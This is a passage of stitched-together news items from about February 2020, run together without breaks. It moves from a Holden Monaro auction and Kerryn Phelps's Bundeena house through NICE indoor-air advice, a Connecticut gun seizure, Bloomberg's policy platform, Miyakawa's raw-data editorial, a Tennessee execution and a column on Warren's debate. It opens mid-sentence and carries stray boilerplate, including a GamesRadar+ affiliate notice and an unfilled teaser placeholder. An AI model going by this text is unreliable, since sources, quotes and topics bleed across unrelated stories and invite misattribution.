Lloyds spokesman said. The car in showroom condition, which sold for $5000 when manufactured, with original Kashmir white paint and antique gold trim, had only 322 miles on the odometer. This 1970 Monaro sold by Lloyds Auctioneers was once owned by businessman Lindsay Fox. The very first Holden Dealer Team HT Monaro 57D also sold for $500,000 and Peter Brocks dual Bathurst winning VH Commodore back in October 2018 broke auction records selling for $2.1million. Sign-gate a sign of times For those residents in Bundeena tying themselves in knots about the removal of the 4-knot sign from the front of Kerryn Phelps and Jackie Stricker-Phelp's new house, we have an update. Despite assurances from the Department of Transport that the sign at the front of the house the couple settled on this week was removed at the request of the new owners, the couple insist otherwise. They say the real estate agent who sold them the $3.25 million beachfront property, Debbie Donnelley of Phillips Pantzer Donnelley, organised the removal of the sign with the vendor, George Harrison. "We love Bundeena": Kerryn Phelps and Jackie Stricker-Phelps are again residents of the sleepy village. Credit:Wolter Peeters We love Bundeena and have received a warm welcome back from locals after four years absence, Dr Phelps told PS. She responded to claims from Bundanesians who criticised the couple for not shopping at the local supermarket and their over-zealous insistence of poo pick up on the beach. She also clarified that they did not build a boat ramp at the previous home but resurfaced an old one. GamesRadar+ is supported by its audience. When you purchase through links on our site, we may earn an affiliate commission. Learn more (Natural News) Occasionally drying clothes indoors seems harmless, but according to the National Institute for Health and Care Excellence (NICE), doing this simple chore may be contributing to indoor air pollution. Representatives from NICE, the National Health Services (NHS) regulator, have advised the public to keep windows open while cooking and to stop drying clothes indoors to reduce air pollution in their homes. Identifying indoor air pollutants Alan Maryon-Davis, the chair of NICEs public health committee, says that indoor air quality must be considered when talking about overall wellness. Pollutants inside the house can come from sources such as aerosols, cleaning products, cooking, damp, fires and smoking. These sources dont just contribute to pollution, they can also irritate the lungs or trigger asthma. NICE advises people to keep windows open or use exhaust fans when using candles, cleaning products and gas cookers. It is also best to crack open a window while taking a bath or shower. Avoid drying clothes indoors. If you have no other choice, keep a window or two open to let out damp air that may affect indoor air quality. (Related: Are your clothes contributing to pollution? Synthetic fibers release tiny pieces of plastic into the environment.) Overall, NICEs report cautions against moisture-producing activities. Check your home regularly for any leaking pipes and inspect the roof and window frames after heavy rains. Condensation can make mold grow indoors, so keep your home well-insulated and ventilated, especially your kitchen and bathroom. The link between indoor air quality and asthma Asthma isnt considered an immediate danger, but the condition often lasts for a lifetime. Asthma can also cause serious breathing difficulties or fatal attacks. Young children who spend most of their time indoors, the elderly, pregnant women and individuals with long-term illnesses are often vulnerable to indoor pollution. Gill Leng, deputy chief executive of NICE, cautions that living in homes with poor air quality is linked to a greater risk of various health problems. Moreover, poor ventilation causes a build-up of pollutants that may aggravate conditions like asthma. The NICE report highlights the importance of addressing common issues like mold and damp. It also notes that pregnant women should avoid using air fresheners, candles and household cleaning sprays with harmful chemicals. In particular, aerosols and candles fill your home with particles called volatile organic compounds (VOCs). These particles are toxic, especially if you are exposed to them over long periods of time. The US Environmental Protection Agency warns that VOCs can cause symptoms like headaches, liver and kidney damage and nerve problems. VOCs are even associated with a greater risk of cancer. Additionally, VOCs can be released by burning coal, gas, petrol or wood. They are also found in carpets and vinyl floors, along with products like cosmetics, hairsprays and cooking oil. Damp air and mold from VOCs can harm your health and make it harder to breathe. On the other hand, with mold that develops because of dampness, particles or spores can break off. Inhaling mold can irritate your airways and can result in inflammation, which can cause a congested nose, coughing, chest tightness, wheezing and throat irritation. Dust and dirt particles in the air and fibers from carpets, pollen or animal hair also have similar effects. Air pollution as a human rights issue The United Nations urges that air pollution should be considered a human rights issue, especially since it causes seven million premature deaths annually around the world. That figure includes at least 600,000 children. According to UNICEF, Britain is suffering from a toxic air crisis that can turn into a public health emergency if left unchecked. Start improving your homes indoor air quality today. Keep your house clean, check for damp and mold and leave a couple of windows open while youre cooking to keep your kitchen ventilated. Sources include: DailyMail.co.uk GoodHousekeeping.com Shaheen Bagh protesters on Friday told the Supreme Court appointed interlocutors that if the road parallel to the protest site was opened, the apex court should pass an order ensuring their security. They also said that when several adjoining roads in the area are open, why have they been asked to move to another site. "We want in writing that if there is a single incident of attack or firing, the police officials, from the SHO to the police commissioner, should be shunted out. Home Minister Amit Shah has said the NRC is not coming soon, so ask him to issue a circular, saying ... BOLTON State police confiscated 15 guns after serving a search warrant Thursday and took a Bolton man into custody on various gun-related charges Friday, officials said. Michael Gramegna, 42, of Shoddy Mill Road, was arrested on Feb. 4 and charged with violation of a protective order, operating an unregistered motor vehicle, operating a motor vehicle without insurance, operating a motor vehicle with a suspended license and falsifying a marker plate. Connecticut State Police Colonel Stavros Mellekas said during a Friday afternoon press conference that Gramegna was taken into custody around 3 p.m. in East Hartford after a tip from a citizen. Mellekas said Gramegna was to be brought to Troop K barracks in Colchester, where he faced charges of criminal violation of a protective order, criminal possession of a firearm and criminal possession of ammunition from a previously obtained arrest warrant. The colonel said Gramegna will be held without bond until he has a court appearance on Monday. Authorities said investigators seized thousands of handgun and rifle rounds, several large-capacity magazines and three long guns, including an assault-type rifle when Gramegna was arrested earlier this month. On Thursday around 9 a.m., state troopers and special agents from the FBI New Haven office served a search warrant at Gramegnas Shoddy Mill Road home in Bolton after he allegedly failed to surrender 21 guns registered to him as a condition of his release on the aforementioned charges. Authorities were granted the warrant through Tolland Superior Court after Gramegnas charges earlier this month. As the subject of a protective order and as a condition of his release, Mr. Gramegna was required to surrender 21 firearms registered to him, state police said. Troopers and FBI agents searched the property and additional guns were seized Thursday, state police said. State police said investigators seized a Bauer .25-caliber semi-automatic pistol with a magazine, four .25-caliber rounds, a Ruger magazine with ammunition, a black magazine and box of Remington ammunition, 250 12-gauge Herters shotgun shells, three .22-caliber rounds with belt links and 12 .22-caliber rounds. An additional 15 guns were found off site, state police said, with one of those being stolen. Several of the firearms seized thus far were not registered, state police said. Mellekas said investigators are unsure if Gramegna has other guns anywhere else, but added that police feel comfortable with the search they conducted at his property Thursday. The colonel said it remains an ongoing investigation. This is the editor's letter in the The Week magazine. Bill Barr has some concerns. He got his job as attorney general by telling President Trump that the Constitution gives him "illimitable discretion" over Justice Department prosecutions; therefore, Trump's numerous attempts to block or end the Mueller investigation did not constitute obstruction of justice. Trump's Article II authority is so expansive, Barr has stated, that neither Congress nor the courts can interfere in his policy decisions or compel him to release information. A delighted Trump has taken Barr's imperial theory of the presidency both seriously and literally. "Article II," he has said, "allows me to do whatever I want as president." Barr, however, is now complaining that the president's tweeting about criminal cases was "making it impossible for me to do my job." Dr. Frankenstein has his regrets. The president, on the other hand, feels freed of all restraints. Proclaiming himself the country's "chief law-enforcement officer," Trump has demanded that a federal judge order a new trial for Roger Stone, a convicted felon who, abundant evidence shows, served as Trump's secret conduit to WikiLeaks and Russian military hackers in 2016. Trump has also raged at the injustice of a prison term for former campaign manager Paul Manafort (another conduit to the Russians) and wants his former national security adviser Michael Flynn who hid a $600,000 payment from the Turkish government to go free, too. Sooner rather than later, Trump will pardon them all. This week, Trump suddenly issued a blizzard of pardons to swampy public figures convicted of bribery, tax fraud, corruption, and making false statements crimes that, for some reason, Trump doesn't consider serious. Why would he stick his neck out for crooks and con men as he heads into a re-election campaign? After surviving the Mueller investigation, impeachment, and innumerable scandals, Trump has concluded he has "an absolute right" to do whatever he wants, just as Bill Barr told him. And he may be right. More stories from theweek.com Bernie Sanders thanks 'multigenerational, multiracial coalition' as he declares 3rd primary victory Pete Buttigieg begs Democrats to 'take a sober look' at Bernie Sanders A moderate's 2020 lament Hyderabad: The Christian Council of Telangana held its Telangana state and National Prayer day on Friday. This annual event was initiated after the formation of Telangana state. Almost 60,000 people gathered at the Lal Bahadur Stadium, the venue. Most of the Christian denominations took part in this, the fifth year of the prayer meet. MIM chief Asaduddin Owaisi was a special guest. He said he will always be there for the Christians if they needed any help. The nations future is at stake and the Indian Constitution is in danger, he said, and called on his Indian brothers to together fight against the Citizenship Amendment Act and the National Registry of Citizens. Rev D. Mohan, chief of the Assemblies of God ministry was the special guest for the event. Brother Raj Prakesh Paul led the praise and worship. The community called for universal peace and harmony. The message that went out was about brotherly love and living in harmony with everyone in this nation. Minister K.T. Rama Rao was supposed to be present but couldnt attend the event. Present at the event were Dr D. Rajeshwar Rao, a Christian Legislative Council member, and Dr Vidya Sravanthi, co-opted member, GHMC. Will Ahmed, CEO of next-level fitness tracker Whoop, is in the business of leveling up his life. And aside from regular meditation and exercise, he says the most critical part of his morning routine involves getting comfortable with discomfort in an ice-cold shower. The colder the better. In Boston, where I live, a cold shower is quite cold, he says. Ive found it helps me focus and improves my moodthere's something to be said for doing things that naturally make you happier. Ahmed isnt the only person who looks forward to getting frigid. Theres this increasingly common idea that taking a cold shower (or dunking yourself in a cold tub) doesnt just look totally rad, but itll help your musclesand your mindfeel better. But what does science say, and who can actually benefit? The experts gave us the rundown. What Does Cold Water Really Do? Its important to say off the bat that the science is a little all over the place. But are a few specific benefits to cold water immersion that have fairly good support in the research. One of the most-often touted benefits to the practice is its ability to help with pain relief. Exposure causes blood vessels to constrict, which can help to numb and reduce pain, says Dan Giordano, DPT, CSCS, and co-founder of Bespoke Treatments. It can also help the body thermoregulate after activity on warm daysprevent overheating and help you get back to a safe, normal temp, in laymans terms. Research shows that the cold water can also help boost your mood by activating the sympathetic nervous system, increasing the availability of endorphins and norepinephrine a neurotransmitter thats typically secreted by the body in response to stress. In other words, aside from being extra awake, getting really cold can make you a little happier. Because there are so many cold receptors in the skin, the experience sends electrical impulses to the brain which increases norepinephrine, which increases brain focus and release of endorphins and makes you happy. And who doesnt want that? asks Giordano. Story continues What's the Catch? First of all, its important that youre willing to keep your cool when getting cool. Exposing yourself to cold while working to control your breath will help unlock some of the benefits mentioned above. But without that critical sense of control, your body might panic, with an increased heart rate, potentially a fluctuating heart rhythm. This is not what you want. One famous approach to staying calm is the Wim Hof Method, named after the Dutch advocate of cold exposure. And then some studies suggest that ice baths may actually hinder muscle growth youre aiming for, because they interrupt (or delay) the inflammation process. When you shock your system with a cool blast, the blood vessels constrict. While that sounds like a good thing, inflammation is an integral part to muscle adaptation, says Corinne Croce, DPT, co-founder of Body Evolved. The body does a great job of recovering after normal amounts of stress, like a regular workout or run, she says. When youre breaking into the body's natural way of healing, you actually slow down the whole process. You're messing with mother nature's organic system. Is Cryotherapy the Same Thing? Not at all. Whole-body cryotherapy, sometimes called WBC, is entirely different. This process uses gasified liquid nitrogen to cool the air around a willing participant in an enclosed chamber with temperatures under 212 degrees below zero. (If youve seen someone on Instagram in an expensive gym, wincing while surrounded by clouds of fog, thats likely whats going on.) According to MarketWatch, the cryotherapy industry is expected to grow to $4.29 billion in the United States by 2023, something that frightens Giordano. The research just isnt there, he says. Nitrogen doesnt conduct the same as water, and a lot of these popular cryotherapy destinations are citing research around cold water immersion, suggesting that their chambers and techniques provide the same results. The U.S. Food and Drug Administration (USFDA) concurs with Giordano. There is no WBC device that is cleared by the administration to support the range of claims that popular cryotherapy centers offereverything from weight loss to reduced risk of depression. You may think theyre making a difference, says Giordano. But why spend all of your money on something that has not been proven when you could simply get into a cold shower for free? So When Should You Be Doing It? Cold water immersion is safe to do for all types of people, and you dont need to be an elite athlete to try to reap the feel-good benefits. Its safe to do regularly, and Croce recommends trying least once weekly. Giordano suggests building up to five minutes in a tub or shower, and starting at three. Just make sure never to exceed 10 minutes," he saysfrostbite is a sure sign you've had too much of a good thing. Originally Appeared on GQ Press Release 21 February 2020 Aimbridge Hospitality, the world's leading hotel management company, is now accepting applications and actively recruiting for its second year of the company's highly regarded internship program. Developed internally in 2019, Aimbridge Hospitality's internship program was designed with the mission to build the company's employer brand while also building a pipeline of future leaders. The program targets c areer development at its earliest stage with a focus on exposing raw talent to real world hospitality experiences through four structured tracks: full-service operations; full-service food and beverage; full-service sales management and select-service operations. Each track takes the student intern through different roles within the hotel, giving them exposure to management training and various leadership styles over the course of 10 to 12 weeks. The American Hotel Lodging & Educational Institute (AHLEI), the educational arm of American Hotel & Lodging Association (AHLA), is Aimbridge Hospitality's exclusive partner in the internship program, providing participating students with four internationally recognized certificates upon completion of the internship. Additionally, AHLEI supports Aimbridge Hospitality with training content to help the participating mentors throughout the internship process. "We appreciate Dave Johnson's commitment to bringing new talent to the industry, a mission he championed as our past Chair of the AHLA Foundation. The internship program that Aimbridge Hospitality has launched is unique within the hospitality industry," said Chip Rogers, President and CEO of American Hotel & Lodging Association (AHLA). "The hands-on education and training that these students receive throughout the program, coupled with the certification they receive upon completion of the program, sets the participating interns up for a hugely successful career in hospitality, and makes them highly desirable candidates for employment." Aimbridge Hospitality partners with 16 participating top hospitality colleges to recruit interns through career fairs and informational tours. In the Summer 2019 pilot program, Aimbridge brought on 18 interns with 17 participating hotels. In Summer 2020, Aimbridge plans to have 58 interns with 71 participating hotels throughout the country. For more information or to app ly for the internship program, visit www.aimbridgehospitality.com/internships/. For more information on Aimbridge Hospitality, visit www.aimbridgehospitality.com. Socialist is one label that will never stick to Michael Bloomberg. The billionaire owner of a financial data and media empire is a pure-blooded capitalist in the classic New York mold of center-left politics. If he were running for office in another country, journalists might even call him the national unity candidate due to his history as a Republican. For the past two months, Ive written columns examining the economic and health care policies of the Democrats running for president. By narrowing my focus, I look past the personalities, polling and melodrama of the campaigns to explain the candidates meaningful differences. Tomlinsons Take: Klobuchar brings low-key politics to Democratic race Bloomberg made his billions running an eponymous financial information and business news company. If there is one thing he understands, it is Wall Street. Perhaps surprisingly, Bloomberg would resurrect Obama administration-era regulations such as the 2010 Dodd-Frank Wall Street Reform and Consumer Protection Act and re-empower the Consumer Financial Protection Bureau. He wants to particularly strengthen the Volcker Rule, which prohibits banks from engaging in risky trading with their own funds. Trumps deregulation may have helped the stock market reach new heights, but Bloomberg says only 10 percent of investors control 85 percent of the market, while half of Americans do not own stock and do not benefit. Tomlinsons Take: Biden offers moderates a throwback administration The economy works really well for people like me, but its badly broken for most Americans, Bloomberg told a rally in Chicago. Too much wealth is in too few hands and in too few places, as well. We have an economic inequality that is distributed unfairly. Critics may complain that Bloomberg is an oligarch. Still, his plan to tighten regulations on the financial industry and ensure U.S. taxpayers will never again bail out big banks will not make him any friends in Lower Manhattan. Bloomberg reveals other populist tendencies by proposing to enroll student loan holders in income-based repayment programs automatically. He would cap loan payments at 5 percent of disposable income, giving young people more opportunity to buy homes and start families. Tomlinsons Take: replace this text with your teaser head and add hyperlink He also wants to impose a 0.1 percent tax on financial transactions to pay for programs that would reduce income inequality. In Houston, he promised to boost African American home and business ownership. The campaign also promises a $15 minimum wage, seven guaranteed sick days a year, 12 weeks of paid family leave and equal pay for womenall intended to reduce income inequality. Workers would have more expansive rights to organize, and employers would have to hire more employees and rely less on independent contractors if Bloomberg passes his agenda. The federal government would enroll one million workers a year in job retraining programs. Tomlinsons Take: Sanders Medicare for All is all bad for the U.S. Bloombergs economic policies sound like something that would come out of a union hall, not off a trading desk. We should raise taxes on the rich. I did that as mayor in New York City, Bloomberg said at the Nevada debate, though he opposes the wealth taxes proposed by other candidates. More problematic for Texans is his energy policy. Bloomberg has made eliminating fossil fuel consumption a big part of his platform, and he opposes expanding natural gas use. Tomlinsons Take: Warrens got 50 plans because central planning always works A Bloomberg administration would mandate zero-emission buildings by 2025 and reduce carbon emissions by at least 50 percent by 2030. The United States would also mandate 100 percent pollution-free vehicles by 2035 with a significant emphasis on electric cars. But hes not ready to ban fracking quite yet. If we could enforce some of the rules on fracking so that they dont release methane into the air and into the water, youll make a big difference, Bloomberg said at the debate. But were not going to get rid of fracking for a while. On universal health care, Bloomberg wants to improve-and-expand Obamacare, capping insurance expenses at 8.5 percent of disposable income and offering a public option similar to Medicare. He would also shut down the cheap, inadequate plans introduced under the Trump administration. Tomlinsons Take: Trump delivers on unemployment and economic growth To tackle costs, he would be more aggressive than any candidate who is not proposing a government-run health care system. Bloomberg wants to cap bills from out-of-network doctors and hospitals at 200 percent of Medicare rates, effectively creating a price cap and a pretty low one at that. He would introduce a limit on drug prices at 120 percent of the average price paid across developed nations. Based on his positions, Bloomberg is no oligarch, but neither is he truly a national unity candidate. His beliefs are solidly in the Democratic camp, not what a voter would expect from a former Republican. But he is to the right of Sen. Bernie Sanders, the Socialist frontrunner. Tomlinson writes commentary about business, economics and policy. twitter.com/cltomlinson chris.tomlinson@chron.com Sebastian Vettel has played down early fears about Ferrari's start to the 2020 pre-season. The Italian team's new car is yet to trouble the top of the timesheets in Barcelona, but after recovering from a cold Vettel said the SF1000 "does what we expect". Asked if the car has more downforce than its predecessor, the German answered: "Yes. "At first glance the competition is faster than we are, but we are not currently looking for laptimes," he added. "But in the car you get a feeling of what is better and what is not. "We took a step forward in the corners. The car generally feels good." However, Vettel continued: "A few properties of the car are similar to last year's. But it is still early. We have time and we still have some leeway with the setup to refine the characteristics." He also seemed to confirm that Ferrari is testing with low-power engine modes, explaining: "You don't show the competition everything you have in testing. "We will only turn the engine up in Melbourne." Red Bull-Honda is also keeping a fairly low profile so far, but Alex Albon said after Thursday: "As Max (Verstappen) said, the car feels more competitive in all respects." Albon's boss Christian Horner added: "Mercedes looks very strong here, as you would expect from the multiple world champions. "Ferrari's performance is difficult to assess, and Racing Point look good too. But generally it's difficult to say where everyone is. "We're not looking too much at laptimes this week." Mercedes' Toto Wolff said earlier this week that he thinks Red Bull will be focusing the hardest on this season, while other competitors might look earlier at the car for 2021. But Horner said: "Many of Adrian (Newey)'s people are already focusing on the RB17 (for 2021)." (GMM) Nothing goes without saying, and I have said and written many times that my father, Harry Weinstein, was crucial to my cooking and eating life. If you have browsed this blog over... Read more Union Minister Giriraj Singh, known for making controversial statements, has said Muslims should have been sent to Pakistan in 1947. "It is the time to commit ourselves to the nation. Before 1947, (Muhammad Ali) Jinnah pushed for an Islamic nation. It was a big lapse by our ancestors that we're paying the price for. If at that time Muslim brothers had been sent there and Hindus brought here, we wouldn't be in this situation. If Bharatvanshis don't get shelter here where will they go?" NDTV quoted Singh as saying. The Animal Husbandry, Dairy and Fisheries ... When we look for reliable sources of information, we turn to studies published in peer-reviewed scientific journals. But in some cases, researchers find it difficult to reproduce the results of certain studies, and often, their findings turn out to be different from the original ones--even when the same methods and procedures are used--thereby making the study unreliable. This discrepancy is called a "reproducibility crisis"--or the inability of scientific findings to be replicated by other researchers. This problem has become more prevalent over the past few decades, and according to existing evidence, it affects up to a quarter of studies in cancer research and over a third of studies in psychology. Naturally, it has attracted the attention of scientists globally, who have proposed various explanations for the reproducibility crisis--including the selective publication of positive results, poor statistical practices, and forming hypotheses only after results are known. But, scientists often tend to avoid suggesting research misconduct as a cause, possibly to avoid controversies. In an editorial published in Molecular Brain, Prof Tsuyoshi Miyakawa, one of the Editors-in-chief, shows how this inhibition might further aggravate the issue. He goes on to explain how many authors fail to provide raw data upon request and speculates that this may be because the requested data never actually existed. Prof Miyakawa based his analyses on manuscripts that were submitted to the peer-reviewed journal Molecular Brain, for which he has served as an Editor-in-Chief since 2017. "As an Editor-in-Chief of the journal, it is sometimes difficult to believe the results of manuscripts that are 'too beautiful to be true'." In 41 such cases, Prof Miyakawa asked the manuscripts' authors to provide the raw data supporting their conclusions. Surprisingly, in more than 97% of cases, the authors either withdrew their manuscripts without providing any raw data or provided incomplete raw data (many of which did not match the results of their studies). These issues resulted in their manuscripts being rejected. In only one case did the authors provide the complete raw data, and that paper was subsequently reviewed and accepted for publication. Thus, most of the authors were either unable or unwilling to provide raw data to support their conclusions. Prof Miyakawa also noted that, of the 40 manuscripts that were withdrawn or rejected, 14 subsequently appeared in other journals. In 12 cases, the publishing journals had policies requiring or encouraging the authors to make their raw data available upon request from a reader. He sent requests for raw data to the authors of those 12 papers but did not receive a response in 10 cases. In another case, the authors refused to provide their data, and in the remaining case, the authors provided him with an incomplete set of raw data. In reflecting on these experiences, Dr Miyakawa surmises that at least some of the failures to provide raw data was because the data did not exist from the beginning. He acknowledges that some cases may have other explanations, such as "honest" mistakes or an unwillingness to share raw data prior to completing planned future analyses, but he believes that such explanations are not adequate. He even notes that his suspicions of research misconduct may cause a stir within the world of science. He muses, "Under the current publication system, the field of life sciences is like a 'house built on sand', and thus it is important to dig deeper to get to the root of the issue." Lastly, to address the widespread problem of fabricated data, Dr Miyakawa argues that journals should require, as a condition of publication, the deposition of raw data in publicly available databases or on journal websites. He says, "Such policies may be difficult and costly to adhere to, but once implemented, they will greatly improve the credibility of scientific studies in general." Praising Dr Miyakawa's editorial, Dr Min Cho, Editor-in-Chief of Neuroscience Next and former Senior Editor of Nature Neuroscience, says, "I've read with great interest Dr Miyakawa's editorial in Molecular Brain. Because the piece provides an analysis of real-world submissions, we get a rare glimpse into the inner workings of a scientific journal. Promoting data transparency by being editorially transparent about its submissions, this journal's editorial here is a reality check for the scientific honor system." Dr Miyakawa concludes by calling on research institutions, funding agencies, and science publishers to develop policies and practices to implement a publishing system based on a "no raw data, no science" outlook. ### Reference Title of original paper: No raw data, no science: Another possible source of the reproducibility crisis Journal: Molecular Brain URL: https://molecularbrain.biomedcentral.com/articles/10.1186/s13041-020-0552-2 DOI: 10.1186/s13041-020-0552-2 About Professor Tsuyoshi Miyakawa Prof Tsuyoshi Miyakawa, PhD, is one of the Editors-in-Chief of Molecular Brain. He also serves as the Editor-in-Chief for Neuropsychopharmacology Reports and a Deputy Director of General Affairs of the Japan Neuroscience Society. Apart from this, he is the director of the Division of Systems Medical Science at Fujita Health University in Toyoake, Japan. With more than 130 research publications to his credit, he has been studying relationships between genes, the brain, and behavior since 1993. Media contact: Prof Tsuyoshi Miyakawa Email: miyakawa@fujita-hu.ac.jp (Newser) A convicted murderer was put to death in Tennessee's electric chair Thursday, becoming the state's fifth prisoner over 16 months to choose electrocution over the state's preferred method of lethal injection. Nicholas Sutton, 58, was pronounced dead at 7:26pm at the Riverbend Maximum Security Institution in Nashville, the AP reports. Asked if he had any last words, Sutton looked directly into the witness room and spoke clearly. "I would like to thank my wife for being such a good witness to the Lord, and my family and many friends who loved and supported me and tried so very hard to save my life," Sutton said. He also spoke of his Christian faith, saying that Jesus Christ had "fixed him" and he was looking forward to being in the presence of God. story continues below Sutton was sentenced to death in 1986 for killing a fellow inmate, child rapist Carl Estep, in a conflict over a drug deal while both were incarcerated in an East Tennessee prison, where Sutton had been serving a life sentence for three previous murders. In 1979, when he was 18, Sutton was found guilty of knocking his grandmother unconscious and throwing her in a river to drown, the Knoxville News Sentinel reports. He later confessed to killing school friend John Large, 19, and 45-year-old Knoxville man Charles Almon. No family members of either Sutton or his victims witnessed the execution. Tennessee Department of Correction spokeswoman Dorinda Carter said Sutton had asked his family not to be present. (An unexpected group of people tried to halt Sutton's execution.) Senator Elizabeth Warren walked onto the Democratic debate stage in Nevada on Wednesday night angry. The third-place candidate was left out of a national NBC and Wall Street Journal poll a day prior, and was ignored when she tried to weigh in on the first question of the evening, which went to Senator Bernie Sanders. When it was finally her turn to speak, she seemed propelled by a kind of righteous indignation that can motivate voters as effectively as it can cripple political rivals. So Id like to talk about who were running against, Warren began. A billionaire who calls women fat broads and horse-faced lesbians. And no, Im not talking about Donald Trump. Im talking about Mayor Bloomberg. The reaction from the crowd was near-deafening, and before too long Twitter users were comparing Warren to Game of Thrones Khaleesi. But, predictably, the women should smile more crowd also voiced their displeasure with Warrens demeanor. Jennifer Rubin, a conservative opinion writer for The Washington Post, said via Twitter: Mean and angry Warren is not a good look. And in a since-deleted tweet, Ken Olin called Warren too nasty. (He later clarified that too nasty was a very poor choice of words.) But angry Warren is exactly who we need in the White House. Unlike the current president, who uses his anger to excuse his verbal attacks on women, black athletes, impeachment testifiers, and anyone else who disagrees with him, Warren uses hers to fight for the people she represents as a Senator and the people she hopes to represent as president. If she seemed indignant when she pushed back on former New York City mayor Mike Bloombergs non-apology for the allegations of sexual harassment in his business, its because 81 per cent of women have been sexually harassed in the United States. After Bloomberg hid behind the number of women he has hired, Warrens response was eviscerating. I hope you heard what his defense was, she said. Ive been nice to some women. When Warren forcefully implored Bloomberg to, on national television, release women from the non-disclosure agreements theyve signed, its because NDAs silence victims of sexual assault and protect men who use their power to abuse others. That includes people like Harvey Weinstein, Bill OReilly, and the current president of the United States of America. Mr Mayor, are you willing to release all of those women from those non-disclosure agreements, so we can hear their side of the story? she asked. Bloomberg said he would not, because they were made consensually. Warren was incensed when she said the Democratic Party wouldnt beat Donald Trump with the drip-drip-drip of stories of women saying they have been harassed and discriminated against because she knows what a man accused of sexual assault, harassment, and rape by over 20 women ascending to the Oval Office has done to survivors. Calls to the National Sexual Assault Hotline increased 33 per cent during the 2016 presidential debate after the now-infamous Hollywood Access tape, in which then-candidate Donald Trump was heard bragging about grabbing women by their genitals without their permission. Calls increased 201 per cent during the Kavanaugh hearings, jumped 42 per cent when Trump questioned why Christine Blasey Ford didnt report sooner, and spiked 53 per cent after E Jean Carroll came forward and accused Trump of raping her in a changing room in the mid-90s. Warren even used her outrage to stand up for fellow nominee and Senator, Amy Klobuchar. When former Mayor Pete Buttigieg attacked Klobuchar for failing to remember the name of Mexicos president, Warren asked if she could defend her. This is not right, Warren interjected. I understand that she forgot the name. It happens. It happens to everybody on this stage. The Democrat challengers to Trump in 2020 Show all 25 1 /25 The Democrat challengers to Trump in 2020 The Democrat challengers to Trump in 2020 Bernie Sanders The Vermont senator has launched a second bid for president after losing out to Hilary Clinton in the 2016 Democratic primaries. He is running on a similar platform of democratic socialist reform Getty The Democrat challengers to Trump in 2020 Joe Biden The former vice president recently faced scrutiny for inappropriate touching of women, but was thought to deal with the criticism well and has since maintained a front runner status in national polling EPA The Democrat challengers to Trump in 2020 Elizabeth Warren The Massachusetts senator is a progressive Democrat, and a major supporter of regulating Wall Street Reuters The Democrat challengers to Trump in 2020 Amy Klobuchar Klobuchar is a Minnesota senator who earned praise for her contribution to the Brett Kavanaugh hearings Getty The Democrat challengers to Trump in 2020 Michael Bloomberg Michael Bloomberg, a late addition to the 2020 race, announced his candidacy after months of speculation in November. He has launched a massive ad-buying campaign and issued an apology for the controversial "stop and frisk" programme that adversely impacted minority communities in New York City when he was mayor Getty Images The Democrat challengers to Trump in 2020 Tulsi Gabbard The Hawaii congresswoman announced her candidacy in January, but has faced tough questions on her past comments on LGBT+ rights and her stance on Syrian President Bashar al-Assad Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Pete Buttigieg The centrist Indiana mayor and war veteran would be the first openly LGBT+ president in American history Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Deval Patrick The former Massachusetts governor launched a late 2020 candidacy and received very little reception. With just a few short months until the first voters flock to the polls, the former governor is running as a centrist and believes he can unite the party's various voting blocs AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Beto O'Rourke The former Texas congressman formally launched his bid for the presidency in March. He ran on a progressive platform, stating that the US is driven by "gross differences in opportunity and outcome" AP The Democrat challengers to Trump in 2020 DROPPED OUT: Kamala Harris The former California attorney general was introduced to the national stage during Jeff Sessions testimony. She has endorsed Medicare-for-all and proposed a major tax-credit for the middle class AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Bill De Blasio The New York mayor announced his bid on 16 May 2019. He emerged in 2013 as a leading voice in the left wing of his party but struggled to build a national profile and has suffered a number of political setbacks in his time as mayor AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Steve Bullock The Montana governor announced his bid on 14 May. He stated "We need to defeat Donald Trump in 2020 and defeat the corrupt system that lets campaign money drown out the people's voice, so we can finally make good on the promise of a fair shot for everyone." He also highlighted the fact that he won the governor's seat in a red [Republican] state Reuters The Democrat challengers to Trump in 2020 DROPPED OUT: Cory Booker The New Jersey Senator has focused on restoring kindness and civility in American politics throughout his campaign, though he has failed to secure the same level of support and fundraising as several other senators running for the White House in 2020 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Wayne Messam Mayor of the city of Miramar in the Miami metropolitan area, Wayne Messam said he intended to run on a progressive platform against the "broken" federal government. He favours gun regulations and was a signatory to a letter from some 400 mayors condemning President Trump's withdrawal from the Paris Climate Accord Vice News The Democrat challengers to Trump in 2020 DROPPED OUT: Kirsten Gillibrand The New York Senator formally announced her presidential bid in January, saying that healthcare should be a right, not a privilege Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Delaney The Maryland congressman was the first to launch his bid for presidency, making the announcement in 2017 AP The Democrat challengers to Trump in 2020 DROPPED OUT: Andrew Yang The entrepreneur announced his presidential candidacy by pledging that he would introduce a universal basic income of $1,000 a month to every American over the age of 18 Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Julian Castro The former San Antonio mayor announced his candidacy in January and said that his running has a special meaning for the Latino community in the US Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Marianne Williamson The author and spiritual adviser has announced her intention to run for president. She had previously run for congress as an independent in 2014 but was unsuccessful Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Eric Swalwell One of the younger candidates, Swalwell has served on multiple committees in the House of Representatives. He intended to make gun control central to his campaign but dropped out after his team said it was clear there was no path to victory Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Seth Moulton A Massachusetts congressman, Moulton is a former US soldier who is best known for trying to stop Nancy Pelosi from becoming speaker of the house. He dropped out of the race after not polling well in key states Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Jay Inslee Inslee has been governor of Washington since 2013. His bid was centred around climate change AFP/Getty The Democrat challengers to Trump in 2020 DROPPED OUT: John Hickenlooper The former governor of Colorado aimed to sell himself as an effective leader who was open to compromise, but failed to make a splash on the national stage Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tim Ryan Ohio representative Tim Ryan ran on a campaign that hinged on his working class roots, though his messaging did not appear to resonate with voters Getty The Democrat challengers to Trump in 2020 DROPPED OUT: Tom Steyer Democratic presidential hopeful billionaire and philanthropist Tom Steyer is a longtime Democratic donor AFP/Getty Unlike her male counterparts who are too busy engaging in toddler-like Twitter beefs Warren is using her anger to champion real, systemic change. She is angry because women are angry, Black and brown people are angry, trans people are angry, immigrants are angry the people are angry. She is angry because she has seen the political upside 